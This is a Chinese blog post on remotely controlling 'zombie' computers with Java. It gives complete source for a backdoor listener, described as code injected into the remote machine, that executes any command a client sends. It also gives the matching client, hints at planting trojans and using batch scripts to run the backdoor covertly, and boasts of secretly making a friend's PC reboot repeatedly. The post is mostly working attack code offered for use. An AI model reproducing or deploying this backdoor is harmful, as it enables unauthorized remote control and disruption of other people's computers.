热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

java也可以来做黑客:控制肉鸡

上次本人介绍了扫面端口,这次就简单说一下对肉鸡的控制吧!一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个13
  上次本人介绍了扫面端口,这次就简单说一下对肉鸡的控制吧!
一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。
关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

当然通过java来实现,确实有点困难,本人不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本文的研究范围,如有兴趣读者可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;

public class Main implements Runnable {
    public static final int TCP_PORT = 8888;
    ServerSocket ss = null;
    Socket s = null;
    String cmd = null;

    public Main(Socket s) {
        this.s = s;
    }

    public void startServer() {
        try {
            ss = new ServerSocket(TCP_PORT);
               } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        while (true) {
            try {
                s = ss.accept();
                new Thread(new Main(s)).start();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }

    public void run() {
        try {
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            dos.writeUTF("连接成功");
            DataInputStream dis = new DataInputStream(s.getInputStream());
            while (true) {
                cmd = dis.readUTF();
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                }
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new Main(null).startServer();
    }

}

       原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

       本机的代码如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main  {
    public static final int TCP_PORT = 8888;
    public static String ip = "127.0.0.1";
    Socket s = null;
    String cmd = null;
   
    public static void main(String[] args) {
        new Main().connect();
    }
   
    public void connect(){
        try {
            s = new Socket(ip,TCP_PORT);
    System.out.println("连接成功");
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            do{
            cmd = JOptionPane.showInputDialog("输入命令:");
            dos.writeUTF(cmd);
            }while(!cmd.equals("over"));
           
            new Thread(new RecvThread()).start();
        } catch (UnknownHostException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    private class RecvThread implements Runnable{
    public void run() {
        DataInputStream dis;
        while(true){
        try {           
            dis = new DataInputStream(s.getInputStream());
            String message = dis.readUTF();
      JOptionPane.showMessageDialog(null, message);
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    }
}
}

        原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

     弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

    
注:需要说明的是,由于本人的firefox不支持该博客的代码插入功能,只能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。本人就用着段简单的代码,让一个哥们的电脑频繁的重启,呵呵!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!

 


推荐阅读
  • 本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ... [详细]
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • 深入解析Spring Cloud Ribbon负载均衡机制
    本文详细介绍了Spring Cloud中的Ribbon组件如何实现服务调用的负载均衡。通过分析其工作原理、源码结构及配置方式,帮助读者理解Ribbon在分布式系统中的重要作用。 ... [详细]
  • UNP 第9章:主机名与地址转换
    本章探讨了用于在主机名和数值地址之间进行转换的函数,如gethostbyname和gethostbyaddr。此外,还介绍了getservbyname和getservbyport函数,用于在服务器名和端口号之间进行转换。 ... [详细]
  • 使用GDI的一些AIP函数我们可以轻易的绘制出简 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 本文详细介绍如何使用arm-eabi-gdb调试Android平台上的C/C++程序。通过具体步骤和实用技巧,帮助开发者更高效地进行调试工作。 ... [详细]
  • 本文介绍了Java并发库中的阻塞队列(BlockingQueue)及其典型应用场景。通过具体实例,展示了如何利用LinkedBlockingQueue实现线程间高效、安全的数据传递,并结合线程池和原子类优化性能。 ... [详细]
  • 本文介绍了一款用于自动化部署 Linux 服务的 Bash 脚本。该脚本不仅涵盖了基本的文件复制和目录创建,还处理了系统服务的配置和启动,确保在多种 Linux 发行版上都能顺利运行。 ... [详细]
  • 使用 Azure Service Principal 和 Microsoft Graph API 获取 AAD 用户列表
    本文介绍了一段通用代码示例,该代码不仅能够操作 Azure Active Directory (AAD),还可以通过 Azure Service Principal 的授权访问和管理 Azure 订阅资源。Azure 的架构可以分为两个层级:AAD 和 Subscription。 ... [详细]
  • DNN Community 和 Professional 版本的主要差异
    本文详细解析了 DotNetNuke (DNN) 的两种主要版本:Community 和 Professional。通过对比两者的功能和附加组件,帮助用户选择最适合其需求的版本。 ... [详细]
  • 使用Vultr云服务器和Namesilo域名搭建个人网站
    本文详细介绍了如何通过Vultr云服务器和Namesilo域名搭建一个功能齐全的个人网站,包括购买、配置服务器以及绑定域名的具体步骤。文章还提供了详细的命令行操作指南,帮助读者顺利完成建站过程。 ... [详细]
  • 在维护公司项目时,发现按下手机的某个物理按键后会激活相应的服务,并在屏幕上模拟点击特定坐标点。本文详细介绍了如何使用ADB Shell Input命令来模拟各种输入事件,包括滑动、按键和点击等。 ... [详细]
  • 本文介绍了如何利用JavaScript或jQuery来判断网页中的文本框是否处于焦点状态,以及如何检测鼠标是否悬停在指定的HTML元素上。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
author-avatar
旭89浪子_499
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有